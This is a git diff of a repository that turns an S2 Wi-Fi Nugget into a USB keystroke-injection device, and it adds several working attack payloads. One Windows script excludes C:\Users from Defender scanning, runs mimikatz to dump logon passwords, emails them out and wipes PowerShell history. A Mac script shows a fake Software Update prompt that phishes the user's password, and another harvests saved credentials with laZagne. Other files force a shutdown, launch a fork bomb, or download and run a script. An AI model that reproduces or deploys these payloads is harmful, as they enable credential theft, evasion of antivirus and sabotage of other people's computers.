Alex-Test/lib/adafruit_hid/keyboard_layout_us.mpy
Normal file
BIN
Alex-Test/lib/adafruit_hid/keycode.mpy
Normal file
BIN
Alex-Test/lib/adafruit_hid/mouse.mpy
Normal file
BIN
Alex-Test/lib/adafruit_requests.mpy
Normal file
132
Alex-Test/lib/ampule.py
Normal file
@@ -0,0 +1,132 @@
|
||||
import io
|
||||
import re
|
||||
|
||||
BUFFER_SIZE = 256
|
||||
TIMEOUT = 30
|
||||
routes = []
|
||||
variable_re = re.compile("^<([a-zA-Z]+)>$")
|
||||
|
||||
class Request:
|
||||
def __init__(self, method, full_path):
|
||||
self.method = method
|
||||
self.path = full_path.split("?")[0]
|
||||
self.params = Request.__parse_params(full_path)
|
||||
self.headers = {}
|
||||
self.body = None
|
||||
|
||||
@staticmethod
|
||||
def __parse_params(path):
|
||||
query_string = path.split("?")[1] if "?" in path else ""
|
||||
param_list = query_string.split("&")
|
||||
params = {}
|
||||
for param in param_list:
|
||||
key_val = param.split("=")
|
||||
if len(key_val) == 2:
|
||||
params[key_val[0]] = key_val[1]
|
||||
return params
|
||||
|
||||
|
||||
def __parse_headers(reader):
|
||||
headers = {}
|
||||
for line in reader:
|
||||
if line == b'\r\n': break
|
||||
title, content = str(line, "utf-8").split(":", 1)
|
||||
headers[title.strip().lower()] = content.strip()
|
||||
return headers
|
||||
|
||||
def __parse_body(reader):
|
||||
data = bytearray()
|
||||
for line in reader:
|
||||
if line == b'\r\n': break
|
||||
data.extend(line)
|
||||
return str(data, "utf-8")
|
||||
|
||||
def __read_request(client):
|
||||
message = bytearray()
|
||||
client.settimeout(30)
|
||||
socket_recv = True
|
||||
|
||||
try:
|
||||
while socket_recv:
|
||||
buffer = bytearray(BUFFER_SIZE)
|
||||
client.recv_into(buffer)
|
||||
start_length = len(message)
|
||||
for byte in buffer:
|
||||
if byte == 0x00:
|
||||
socket_recv = False
|
||||
break
|
||||
else:
|
||||
message.append(byte)
|
||||
except OSError as error:
|
||||
print("Error reading from socket", error)
|
||||
|
||||
reader = io.BytesIO(message)
|
||||
line = str(reader.readline(), "utf-8")
|
||||
(method, full_path, version) = line.rstrip("\r\n").split(None, 2)
|
||||
|
||||
request = Request(method, full_path)
|
||||
request.headers = __parse_headers(reader)
|
||||
request.body = __parse_body(reader)
|
||||
|
||||
return request
|
||||
|
||||
def __send_response(client, code, headers, data):
|
||||
headers["Server"] = "Ampule/0.0.1-alpha (CircuitPython)"
|
||||
headers["Connection"] = "close"
|
||||
headers["Content-Length"] = len(data)
|
||||
|
||||
response = "HTTP/1.1 %i OK\r\n" % code
|
||||
for k, v in headers.items():
|
||||
response += "%s: %s\r\n" % (k, v)
|
||||
response += "\r\n" + data + "\r\n"
|
||||
|
||||
client.send(response)
|
||||
|
||||
def __on_request(method, rule, request_handler):
|
||||
regex = "^"
|
||||
rule_parts = rule.split("/")
|
||||
for part in rule_parts:
|
||||
# Is this portion of the path a variable?
|
||||
var = variable_re.match(part)
|
||||
if var:
|
||||
# If so, allow any alphanumeric value
|
||||
regex += r"([a-zA-Z0-9_-]+)\/"
|
||||
else:
|
||||
# Otherwise exact match
|
||||
regex += part + r"\/"
|
||||
regex += "?$"
|
||||
routes.append(
|
||||
(re.compile(regex), {"method": method, "func": request_handler})
|
||||
)
|
||||
|
||||
def __match_route(path, method):
|
||||
for matcher, route in routes:
|
||||
match = matcher.match(path)
|
||||
if match and method == route["method"]:
|
||||
return (match.groups(), route)
|
||||
return None
|
||||
|
||||
def listen(socket):
|
||||
try:
|
||||
client, remote_address = socket.accept()
|
||||
client.settimeout(1)
|
||||
|
||||
request = __read_request(client)
|
||||
match = __match_route(request.path, request.method)
|
||||
if match:
|
||||
args, route = match
|
||||
status, headers, body = route["func"](request, *args)
|
||||
__send_response(client, status, headers, body)
|
||||
else:
|
||||
__send_response(client, 404, {}, "Not found")
|
||||
except OSError as e:
|
||||
print("Timed Out, continuing")
|
||||
return
|
||||
except BaseException as e:
|
||||
print("Error with request:", e)
|
||||
__send_response(client, 500, {}, "Error processing request")
|
||||
|
||||
client.close()
|
||||
|
||||
def route(rule, method='GET'):
|
||||
return lambda func: __on_request(method, rule, func)
|
||||
BIN
Alex-Test/lib/base64.mpy
Normal file
188
Alex-Test/lib/neopixel.py
Normal file
@@ -0,0 +1,188 @@
|
||||
# SPDX-FileCopyrightText: 2016 Damien P. George
|
||||
# SPDX-FileCopyrightText: 2017 Scott Shawcroft for Adafruit Industries
|
||||
# SPDX-FileCopyrightText: 2019 Carter Nelson
|
||||
# SPDX-FileCopyrightText: 2019 Roy Hooper
|
||||
#
|
||||
# SPDX-License-Identifier: MIT
|
||||
|
||||
"""
|
||||
`neopixel` - NeoPixel strip driver
|
||||
====================================================
|
||||
|
||||
* Author(s): Damien P. George, Scott Shawcroft, Carter Nelson, Rose Hooper
|
||||
"""
|
||||
|
||||
# pylint: disable=ungrouped-imports
|
||||
import sys
|
||||
import board
|
||||
import digitalio
|
||||
from neopixel_write import neopixel_write
|
||||
|
||||
try:
|
||||
import adafruit_pixelbuf
|
||||
except ImportError:
|
||||
try:
|
||||
import _pixelbuf as adafruit_pixelbuf
|
||||
except ImportError:
|
||||
import adafruit_pypixelbuf as adafruit_pixelbuf
|
||||
|
||||
|
||||
try:
|
||||
# Used only for typing
|
||||
from typing import Optional, Type
|
||||
from types import TracebackType
|
||||
import microcontroller
|
||||
except ImportError:
|
||||
pass
|
||||
|
||||
|
||||
__version__ = "0.0.0-auto.0"
|
||||
__repo__ = "https://github.com/adafruit/Adafruit_CircuitPython_NeoPixel.git"
|
||||
|
||||
|
||||
# Pixel color order constants
|
||||
RGB = "RGB"
|
||||
"""Red Green Blue"""
|
||||
GRB = "GRB"
|
||||
"""Green Red Blue"""
|
||||
RGBW = "RGBW"
|
||||
"""Red Green Blue White"""
|
||||
GRBW = "GRBW"
|
||||
"""Green Red Blue White"""
|
||||
|
||||
|
||||
class NeoPixel(adafruit_pixelbuf.PixelBuf):
|
||||
"""
|
||||
A sequence of neopixels.
|
||||
|
||||
:param ~microcontroller.Pin pin: The pin to output neopixel data on.
|
||||
:param int n: The number of neopixels in the chain
|
||||
:param int bpp: Bytes per pixel. 3 for RGB and 4 for RGBW pixels.
|
||||
:param float brightness: Brightness of the pixels between 0.0 and 1.0 where 1.0 is full
|
||||
brightness
|
||||
:param bool auto_write: True if the neopixels should immediately change when set. If False,
|
||||
`show` must be called explicitly.
|
||||
:param str pixel_order: Set the pixel color channel order. GRBW is set by default.
|
||||
|
||||
Example for Circuit Playground Express:
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
import neopixel
|
||||
from board import *
|
||||
|
||||
RED = 0x100000 # (0x10, 0, 0) also works
|
||||
|
||||
pixels = neopixel.NeoPixel(NEOPIXEL, 10)
|
||||
for i in range(len(pixels)):
|
||||
pixels[i] = RED
|
||||
|
||||
Example for Circuit Playground Express setting every other pixel red using a slice:
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
import neopixel
|
||||
from board import *
|
||||
import time
|
||||
|
||||
RED = 0x100000 # (0x10, 0, 0) also works
|
||||
|
||||
# Using ``with`` ensures pixels are cleared after we're done.
|
||||
with neopixel.NeoPixel(NEOPIXEL, 10) as pixels:
|
||||
pixels[::2] = [RED] * (len(pixels) // 2)
|
||||
time.sleep(2)
|
||||
|
||||
.. py:method:: NeoPixel.show()
|
||||
|
||||
Shows the new colors on the pixels themselves if they haven't already
|
||||
been autowritten.
|
||||
|
||||
The colors may or may not be showing after this function returns because
|
||||
it may be done asynchronously.
|
||||
|
||||
.. py:method:: NeoPixel.fill(color)
|
||||
|
||||
Colors all pixels the given ***color***.
|
||||
|
||||
.. py:attribute:: brightness
|
||||
|
||||
Overall brightness of the pixel (0 to 1.0)
|
||||
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
pin: microcontroller.Pin,
|
||||
n: int,
|
||||
*,
|
||||
bpp: int = 3,
|
||||
brightness: float = 1.0,
|
||||
auto_write: bool = True,
|
||||
pixel_order: str = None
|
||||
):
|
||||
if not pixel_order:
|
||||
pixel_order = GRB if bpp == 3 else GRBW
|
||||
elif isinstance(pixel_order, tuple):
|
||||
order_list = [RGBW[order] for order in pixel_order]
|
||||
pixel_order = "".join(order_list)
|
||||
|
||||
self._power = None
|
||||
if (
|
||||
sys.implementation.version[0] >= 7
|
||||
and getattr(board, "NEOPIXEL", None) == pin
|
||||
):
|
||||
power = getattr(board, "NEOPIXEL_POWER_INVERTED", None)
|
||||
polarity = power is None
|
||||
if not power:
|
||||
power = getattr(board, "NEOPIXEL_POWER", None)
|
||||
if power:
|
||||
try:
|
||||
self._power = digitalio.DigitalInOut(power)
|
||||
self._power.switch_to_output(value=polarity)
|
||||
except ValueError:
|
||||
pass
|
||||
|
||||
super().__init__(
|
||||
n, brightness=brightness, byteorder=pixel_order, auto_write=auto_write
|
||||
)
|
||||
|
||||
self.pin = digitalio.DigitalInOut(pin)
|
||||
self.pin.direction = digitalio.Direction.OUTPUT
|
||||
|
||||
def deinit(self) -> None:
|
||||
"""Blank out the NeoPixels and release the pin."""
|
||||
self.fill(0)
|
||||
self.show()
|
||||
self.pin.deinit()
|
||||
if self._power:
|
||||
self._power.deinit()
|
||||
|
||||
def __enter__(self):
|
||||
return self
|
||||
|
||||
def __exit__(
|
||||
self,
|
||||
exception_type: Optional[Type[BaseException]],
|
||||
exception_value: Optional[BaseException],
|
||||
traceback: Optional[TracebackType],
|
||||
):
|
||||
self.deinit()
|
||||
|
||||
def __repr__(self):
|
||||
return "[" + ", ".join([str(x) for x in self]) + "]"
|
||||
|
||||
@property
|
||||
def n(self) -> int:
|
||||
"""
|
||||
The number of neopixels in the chain (read-only)
|
||||
"""
|
||||
return len(self)
|
||||
|
||||
def write(self) -> None:
|
||||
""".. deprecated: 1.0.0
|
||||
|
||||
Use ``show`` instead. It matches Micro:Bit and Arduino APIs."""
|
||||
self.show()
|
||||
|
||||
def _transmit(self, buffer: bytearray) -> None:
|
||||
neopixel_write(self.pin, buffer)
|
||||
@@ -0,0 +1,34 @@
|
||||
REM Title: PwnKit Cred Changer
|
||||
REM Author: Alex Lynd
|
||||
REM Description: Changes root creds using the PwnKit exploit, disables keyboard / mouse, delivers a devastating rickroll payload.
|
||||
REM Target: Linux (Bash)
|
||||
REM Props: Hak5, HakCat
|
||||
REM Version: 1.0
|
||||
REM Category: Prank
|
||||
|
||||
CTRL ALT T
|
||||
DELAY 2000
|
||||
|
||||
REM disable mouse
|
||||
STRING xinput float 12
|
||||
ENTER
|
||||
|
||||
|
||||
REM download annoying payload
|
||||
|
||||
REM STRING wget https://gist.githubusercontent.com/AlexLynd/2f8081f1940934e19a5a450ca358d142/raw/b6d4bfe05cb73f8140872448da54fb1824c4d627/linux-color-flasher.sh
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING chmod +x linux-color-flasher.sh
|
||||
ENTER
|
||||
STRING ./linux-color-flasher.sh &
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING firefox "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
|
||||
ENTER
|
||||
DELAY 3000
|
||||
SPACE
|
||||
DELAY 1000
|
||||
STRING F
|
||||
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
REM Title: PwnKit Cred Changer
|
||||
REM Author: Alex Lynd
|
||||
REM Description: Changes root creds using the PwnKit exploit, disables keyboard / mouse, delivers a devastating rickroll payload.
|
||||
REM Target: Linux (Bash)
|
||||
REM Props: Hak5, HakCat
|
||||
REM Version: 1.0
|
||||
REM Category: Prank
|
||||
|
||||
CTRL ALT T
|
||||
DELAY 2000
|
||||
|
||||
REM disable mouse
|
||||
STRING xinput float 12
|
||||
ENTER
|
||||
|
||||
|
||||
REM download annoying payload
|
||||
|
||||
REM STRING wget https://gist.githubusercontent.com/AlexLynd/2f8081f1940934e19a5a450ca358d142/raw/b6d4bfe05cb73f8140872448da54fb1824c4d627/linux-color-flasher.sh
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING chmod +x linux-color-flasher.sh
|
||||
ENTER
|
||||
STRING ./linux-color-flasher.sh &
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING firefox "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
|
||||
ENTER
|
||||
DELAY 3000
|
||||
SPACE
|
||||
DELAY 1000
|
||||
STRING F
|
||||
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
REM Title: PwnKit Cred Changer
|
||||
REM Author: Alex Lynd
|
||||
REM Description: Changes root creds using the PwnKit exploit, disables keyboard / mouse, delivers a devastating rickroll payload.
|
||||
REM Target: Linux (Bash)
|
||||
REM Props: Hak5, HakCat
|
||||
REM Version: 1.0
|
||||
REM Category: Prank
|
||||
|
||||
CTRL ALT T
|
||||
DELAY 2000
|
||||
|
||||
REM disable mouse
|
||||
STRING xinput float 12
|
||||
ENTER
|
||||
|
||||
|
||||
REM download annoying payload
|
||||
|
||||
REM STRING wget https://gist.githubusercontent.com/AlexLynd/2f8081f1940934e19a5a450ca358d142/raw/b6d4bfe05cb73f8140872448da54fb1824c4d627/linux-color-flasher.sh
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING chmod +x linux-color-flasher.sh
|
||||
ENTER
|
||||
STRING ./linux-color-flasher.sh &
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING firefox "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
|
||||
ENTER
|
||||
DELAY 3000
|
||||
SPACE
|
||||
DELAY 1000
|
||||
STRING F
|
||||
|
||||
|
||||
34
Alex-Test/payloads/Linux/prank/PwnKit_Cred_Changer.txt
Normal file
@@ -0,0 +1,34 @@
|
||||
REM Title: PwnKit Cred Changer
|
||||
REM Author: Alex Lynd
|
||||
REM Description: Changes root creds using the PwnKit exploit, disables keyboard / mouse, delivers a devastating rickroll payload.
|
||||
REM Target: Linux (Bash)
|
||||
REM Props: Hak5, HakCat
|
||||
REM Version: 1.0
|
||||
REM Category: Prank
|
||||
|
||||
CTRL ALT T
|
||||
DELAY 2000
|
||||
|
||||
REM disable mouse
|
||||
STRING xinput float 12
|
||||
ENTER
|
||||
|
||||
|
||||
REM download annoying payload
|
||||
|
||||
REM STRING wget https://gist.githubusercontent.com/AlexLynd/2f8081f1940934e19a5a450ca358d142/raw/b6d4bfe05cb73f8140872448da54fb1824c4d627/linux-color-flasher.sh
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING chmod +x linux-color-flasher.sh
|
||||
ENTER
|
||||
STRING ./linux-color-flasher.sh &
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING firefox "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
|
||||
ENTER
|
||||
DELAY 3000
|
||||
SPACE
|
||||
DELAY 1000
|
||||
STRING F
|
||||
|
||||
|
||||
34
Alex-Test/payloads/Linux/prank/meow.txt
Normal file
@@ -0,0 +1,34 @@
|
||||
REM Title: PwnKit Cred Changer
|
||||
REM Author: Alex Lynd
|
||||
REM Description: Changes root creds using the PwnKit exploit, disables keyboard / mouse, delivers a devastating rickroll payload.
|
||||
REM Target: Linux (Bash)
|
||||
REM Props: Hak5, HakCat
|
||||
REM Version: 1.0
|
||||
REM Category: Prank
|
||||
|
||||
CTRL ALT T
|
||||
DELAY 2000
|
||||
|
||||
REM disable mouse
|
||||
STRING xinput float 12
|
||||
ENTER
|
||||
|
||||
|
||||
REM download annoying payload
|
||||
|
||||
REM STRING wget https://gist.githubusercontent.com/AlexLynd/2f8081f1940934e19a5a450ca358d142/raw/b6d4bfe05cb73f8140872448da54fb1824c4d627/linux-color-flasher.sh
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING chmod +x linux-color-flasher.sh
|
||||
ENTER
|
||||
STRING ./linux-color-flasher.sh &
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING firefox "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
|
||||
ENTER
|
||||
DELAY 3000
|
||||
SPACE
|
||||
DELAY 1000
|
||||
STRING F
|
||||
|
||||
|
||||
49
Alex-Test/payloads/Mac/Phish/Phish.txt
Normal file
@@ -0,0 +1,49 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# Title: Mac Password Phisher
|
||||
# Author: Ahhh
|
||||
# Version: 1.0
|
||||
#
|
||||
# Prompts for user password, writes response to the bunny
|
||||
#
|
||||
# Blue...............Starting
|
||||
# Amber..............Executing payload
|
||||
# Green..............Finished
|
||||
#
|
||||
|
||||
LED B
|
||||
|
||||
LANGUAGE='us'
|
||||
lootdir=loot/MacLoot
|
||||
|
||||
# Gimme a Keyboard please. Thanks.
|
||||
ATTACKMODE HID STORAGE
|
||||
LED R G
|
||||
|
||||
mkdir -p /root/udisk/$lootdir
|
||||
|
||||
# Get a terminal
|
||||
QUACK DELAY 400
|
||||
QUACK GUI SPACE
|
||||
QUACK DELAY 300
|
||||
QUACK STRING terminal
|
||||
QUACK DELAY 200
|
||||
QUACK ENTER
|
||||
QUACK DELAY 400
|
||||
|
||||
# Make lootdir
|
||||
QUACK STRING mkdir -p /Volumes/BashBunny/$lootdir/phish
|
||||
QUACK ENTER
|
||||
QUACK DELAY 200
|
||||
QUACK ENTER
|
||||
|
||||
# Execute Payload
|
||||
QUACK STRING osascript -e \'tell app \"System Preferences\" to activate\' -e \'tell app \"System Preferences\" to activate\' -e \'tell app \"System Preferences\" to display dialog \"Software Update requires that you type your password to apply changes.\" \& return \& return default answer \"\" with icon 1 with hidden answer with title \"Software Update\"\'\>/Volumes/BashBunny/$lootdir/phish/pw.txt\; sleep 20\; killall Terminal\;
|
||||
QUACK ENTER
|
||||
QUACK DELAY 1000
|
||||
|
||||
# Sync filesystem
|
||||
sync
|
||||
|
||||
# Green is the official Light of "finished"
|
||||
LED G
|
||||
44
Alex-Test/payloads/Mac/Recon/PasswordStealer.txt
Normal file
@@ -0,0 +1,44 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# Title: Mac Password Grabber
|
||||
# Author: Overtimedev
|
||||
# Version: 1.0
|
||||
#
|
||||
# Steals Passwords Mac using laZagne.py then stashes them in /root/udisk/loot/MacPass
|
||||
# s(Replace PASSWORD, with your vicims mac computer password in payload.txt)
|
||||
#
|
||||
# Amber..............Executing payload
|
||||
# Green..............Finished
|
||||
#
|
||||
|
||||
LED G R
|
||||
ATTACKMODE HID STORAGE
|
||||
|
||||
lootdir=loot/MacPass
|
||||
mkdir -p /root/udisk/$lootdir
|
||||
|
||||
QUACK GUI SPACE
|
||||
QUACK DELAY 1000
|
||||
QUACK STRING terminal
|
||||
QUACK ENTER
|
||||
QUACK DELAY 3000
|
||||
QUACK STRING cd /Volumes/BashBunny/
|
||||
QUACK ENTER
|
||||
QUACK DELAY 1000
|
||||
QUACK STRING python get-pip.py
|
||||
QUACK ENTER
|
||||
QUACK DELAY 3000
|
||||
QUACK STRING pip install -r requirements.txt
|
||||
QUACK ENTER
|
||||
QUACK DELAY 3000
|
||||
QUACK STRING python laZagne.py all -password PASSWORD -oN -output loot/MacPass
|
||||
QUACK ENTER
|
||||
QUACK DELAY 10000
|
||||
QUACK STRING killall Terminal
|
||||
QUACK ENTER
|
||||
|
||||
# Sync filesystem
|
||||
sync
|
||||
|
||||
# Green LED for finished
|
||||
LED G
|
||||
0
Alex-Test/payloads/Starred/.starred
Normal file
@@ -0,0 +1,96 @@
|
||||
REM Title: windows password grabber
|
||||
REM Arthor makozort, https://github.com/makozort
|
||||
REM Target: windows 10 (with admin access), might work with windows 7 idk
|
||||
REM THIS IS FOR AUTHORISED USE ON MACHINES YOU EITHER OWN OR HAVE BEEN GIVEN ACCESS TO PEN TEST, MAKOZORT IS NO LIABLE FOR ANY MISUSE OF THIS SCRIPT
|
||||
REM --------------set default delay based on targets computer speed, 350 is around mid range (I think)
|
||||
DEFAULT_DELAY 350
|
||||
REM -------------first delay is 1 second (you may need more) to let windows set up the "keyboard"
|
||||
DELAY 1000
|
||||
REM ------------open powershell as admin and set an exclusion path in the C:\Users path
|
||||
GUI r
|
||||
STRING powershell
|
||||
CTRL-SHIFT ENTER
|
||||
DELAY 600
|
||||
ALT y
|
||||
STRING Set-MpPreference -ExclusionPath C:\Users
|
||||
ENTER
|
||||
STRING exit
|
||||
ENTER
|
||||
REM -------------download mimikatz
|
||||
GUI r
|
||||
STRING cmd
|
||||
CTRL-SHIFT ENTER
|
||||
DELAY 600
|
||||
ALT y
|
||||
STRING powershell (new-object System.Net.WebClient).DownloadFile('LINK TO MIMIKATZ.EXE DOWNLOAD HERE','%temp%\pw.exe')
|
||||
ENTER
|
||||
REM ------------run the following mimikatz commands and print results in new txt file
|
||||
DELAY 4000
|
||||
STRING %TEMP%\pw.exe > c:\pwlog.txt & type pwlog.txt;
|
||||
ENTER
|
||||
STRING privilege::debug
|
||||
ENTER
|
||||
STRING sekurlsa::logonPasswords full
|
||||
ENTER
|
||||
STRING exit
|
||||
ENTER
|
||||
REM< --------- delete mimikatz
|
||||
STRING del %TEMP%\pw.exe
|
||||
ENTER
|
||||
STRING exit
|
||||
ENTER
|
||||
REM -------------email the pwlog.txt to your email
|
||||
GUI r
|
||||
STRING powershell
|
||||
CTRL-SHIFT ENTER
|
||||
DELAY 600
|
||||
ALT y
|
||||
STRING Remove-MpPreference -ExclusionPath C:\Users
|
||||
ENTER
|
||||
STRING $SMTPServer = 'smtp.gmail.com'
|
||||
ENTER
|
||||
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
|
||||
ENTER
|
||||
STRING $SMTPInfo.EnableSsl = $true
|
||||
ENTER
|
||||
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('THE-PART-OF-YOUR-EMAIL-BEFORE-THE-@
|
||||
SHIFT 2
|
||||
STRING gmail.com', 'PASSWORDHERE');
|
||||
ENTER
|
||||
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
|
||||
ENTER
|
||||
STRING $ReportEmail.From = 'THE-PART-OF-YOUR-EMAIL-BEFORE-THE-@
|
||||
SHIFT 2
|
||||
STRING gmail.com'
|
||||
ENTER
|
||||
STRING $ReportEmail.To.Add('THE-PART-OF-RECEIVERS-EMAIL-BEFORE-THE-@
|
||||
SHIFT 2
|
||||
STRING gmail.com')
|
||||
ENTER
|
||||
STRING $ReportEmail.Subject = 'Hello from the ducky'
|
||||
ENTER
|
||||
STRING $ReportEmail.Body = 'Attached is your duck report.'
|
||||
ENTER
|
||||
STRING $ReportEmail.Attachments.Add('c:\pwlog.txt')
|
||||
ENTER
|
||||
STRING $SMTPInfo.Send($ReportEmail)
|
||||
ENTER
|
||||
DELAY 4000
|
||||
STRING exit
|
||||
ENTER
|
||||
REM ------cleanup time
|
||||
GUI r
|
||||
STRING powershell
|
||||
CTRL-SHIFT ENTER
|
||||
DELAY 600
|
||||
ALT y
|
||||
REM ----------delete the txt file
|
||||
STRING del c:\pwlog.txt
|
||||
ENTER
|
||||
REM -------remove powershell history (this probably wont be enough to remove all traces of you, this is just to prevent inital investigations
|
||||
STRING Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||
ENTER
|
||||
STRING exit
|
||||
ENTER
|
||||
REM ------lock the pc
|
||||
GUI l
|
||||
7
Alex-Test/payloads/Windows/Creds/fastshutdown.txt
Normal file
@@ -0,0 +1,7 @@
|
||||
WINDOWS R
|
||||
DELAY 250
|
||||
STRING cmd
|
||||
ENTER
|
||||
DELAY 300
|
||||
STRING shutdown /s /f /t 0
|
||||
ENTER
|
||||
14
Alex-Test/payloads/Windows/Prank/Forkbomb.txt
Normal file
@@ -0,0 +1,14 @@
|
||||
REM HTML Fork Bomb by Jonny Banana
|
||||
REM https://github.com/JonnyBanana/Rubber-Ducky_HTML_Fork-Bomb
|
||||
DELAY 2000
|
||||
CONTROL ESCAPE
|
||||
DELAY 200
|
||||
STRING C:\Program Files\Internet Explorer\iexplore.exe https://jonnybanana.github.io/HTML-Fork-Bomb.github.io/
|
||||
DELAY 200
|
||||
ENTER
|
||||
REM set a long delay to give time to this disgusting browser
|
||||
DELAY 1000
|
||||
REM it's time to enable Pop-Up
|
||||
TAB
|
||||
DELAY 200
|
||||
ENTER
|
||||
@@ -1,6 +1,7 @@
|
||||
REM The next four lines open Notepad in Windows and type "Hello World!"
|
||||
GUI r
|
||||
REM The next four lines open Notepad in Windows and type "Hello World"
|
||||
WINDOWS R
|
||||
DELAY 250
|
||||
STRING notepad
|
||||
ENTER
|
||||
DELAY 250
|
||||
STRING Hello World!
|
||||
STRING Hello World
|
||||
96
README.md
@@ -1,11 +1,13 @@
|
||||
<h1 align="center">pico-ducky</h1>
|
||||
<h1 align="center">Rubber-Nugget</h1>
|
||||
|
||||
<div align="center">
|
||||
<strong>Make a cheap but powerful USB Rubber Ducky with a Raspberry Pi Pico</strong>
|
||||
<strong>Deploy up to 5 different Duckyscript payloads with an S2 Wi-Fi Nugget</strong>
|
||||
|
||||
</div>
|
||||
|
||||
<br />
|
||||
|
||||
<p align="center">
|
||||
<img src="https://cdn.shopify.com/s/files/1/2779/8142/products/S2-Nugget_1024x1024.png" alt="S2 Nugget" title="S2 Nugget" width="500"/>
|
||||
</p>
|
||||
<div align="center">
|
||||
<img alt="GitHub code size in bytes" src="https://img.shields.io/github/languages/code-size/dbisu/pico-ducky">
|
||||
<img alt="GitHub license" src="https://img.shields.io/github/license/dbisu/pico-ducky">
|
||||
@@ -16,52 +18,64 @@
|
||||
|
||||
<br />
|
||||
|
||||
This is a port of the Pico-Ducky project by Dave Bailey (dbisu, @daveisu), converted to run on the S2 Wi-Fi Nugget
|
||||
|
||||
You can buy one here: (https://retia.io/products/wi-fi-nugget-s2-nugget-esp32s2).
|
||||
|
||||
|
||||
## Major changes:
|
||||
|
||||
To hide the USB drive, hold the DOWN button when plugging in the S2 Nugget and release when the menu face appears.
|
||||
|
||||
To auto-inject payload.dd, hold the RIGHT button when plugging in the S2 Nugget.
|
||||
|
||||
Once the menu face appears, you can run any one of 4 duckyscript payloads:
|
||||
* press the UP button to run payload1.dd
|
||||
* press the DOWN button to run payload2.dd
|
||||
* press the LEFT button to run payload3.dd
|
||||
* press and the RIGHT button to run payload4.dd
|
||||
|
||||
To add new payloads, replace the payload.dd files on the CircuitPython drive.
|
||||
|
||||
## Install
|
||||
|
||||
Install and have your USB Rubber Ducky working in less than 5 minutes.
|
||||
Install and have your USB Rubber Nugget working in less than 5 minutes.
|
||||
|
||||
1. Download [CircuitPython for the Raspberry Pi Pico](https://circuitpython.org/board/raspberry_pi_pico/). *Updated to 7.0.0
|
||||
1. Download [CircuitPython for the S2 Mini](https://circuitpython.org/board/lolin_s2_mini/). *Updated to 7.0.0
|
||||
|
||||
2. Plug the device into a USB port while holding the boot button. It will show up as a removable media device named `RPI-RP2`.
|
||||
2. Plug the device into a USB port while holding the RESET button, click the 0 button, then release the RESET button. It will show up as a removable media device named `S2MINIBOOT`.
|
||||
|
||||
3. Copy the downloaded `.uf2` file to the root of the Pico (`RPI-RP2`). The device will reboot and after a second or so, it will reconnect as `CIRCUITPY`.
|
||||
3. Copy the downloaded `.uf2` file to the root of the S2 Mini (`S2MINIBOOT`). The device will reboot and after a second or so, it will reconnect as `CIRCUITPY`.
|
||||
|
||||
4. Download `adafruit-circuitpython-bundle-7.x-mpy-YYYYMMDD.zip` [here](https://github.com/adafruit/Adafruit_CircuitPython_Bundle/releases/latest) and extract it outside the device.
|
||||
4. Download and extract the .ZIP file for this project on your computer.
|
||||
|
||||
5. Navigate to `lib` in the recently extracted folder and copy `adafruit_hid` to the `lib` folder in your Raspberry Pi Pico.
|
||||
5. Copy the following files and folders to your Nugget: `code.py`, `boot.py`, `lib`, `faces`, `payload.dd`, `payload1.dd`, `payload2.dd`, `payload3.dd`, `payload4.dd`
|
||||
|
||||
6. Click [here](https://raw.githubusercontent.com/dbisu/pico-ducky/main/duckyinpython.py), press CTRL + S and save the file as `code.py` in the root of the Raspberry Pi Pico, overwriting the previous file.
|
||||
6. Find a script [here](https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads) or [create your own one using Ducky Script](https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript) and save it as `payload1.dd` in the S2 Nugget. You can add to 4 payloads the same way, adding a number to each payload file name.
|
||||
|
||||
7. Find a script [here](https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads) or [create your own one using Ducky Script](https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript) and save it as `payload.dd` in the Pico.
|
||||
7. If you want device to load in stealth mode, hold the down button when plugging in your Nugget to prevent the USB drive from appearing.
|
||||
|
||||
8. Be careful, if your device isn't in [setup mode](#setup-mode), the device will reboot and after half a second, the script will run.
|
||||
### Attack mode
|
||||
|
||||
### Setup mode
|
||||
To edit a payload, setup mode is entered automatically when inserted. You can deploy a payload at any time by pressing one of the 4 payload buttons.
|
||||
|
||||
To edit the payload, enter setup mode by connecting the pin 1 (`GP0`) to pin 3 (`GND`), this will stop the pico-ducky from injecting the payload in your own machine.
|
||||
The easiest way to so is by using a jumper wire between those pins as seen bellow.
|
||||
If you want to inject a script with maximum speed, hold the RIGHT button down when inserting your S2 Nugget into the target computer.
|
||||
|
||||

|
||||
This will cause payload1.dd to be automatically injected as soon as the S2 Nugget is powered up.
|
||||
|
||||
### USB enable/disable mode
|
||||
|
||||
If you need the pico-ducky to not show up as a USB mass storage device for stealth, follow these instructions.
|
||||
Enter setup mode.
|
||||
Copy boot.py to the root of the pico-ducky.
|
||||
Copy your payload script to the pico-ducky.
|
||||
Disconnect the pico from your host PC.
|
||||
Connect a jumper wire between pin 18 (`GND`) and pin 20 (`GPIO15`).
|
||||
This will prevent the pico-ducky from showing up as a USB drive when plugged into the target computer.
|
||||
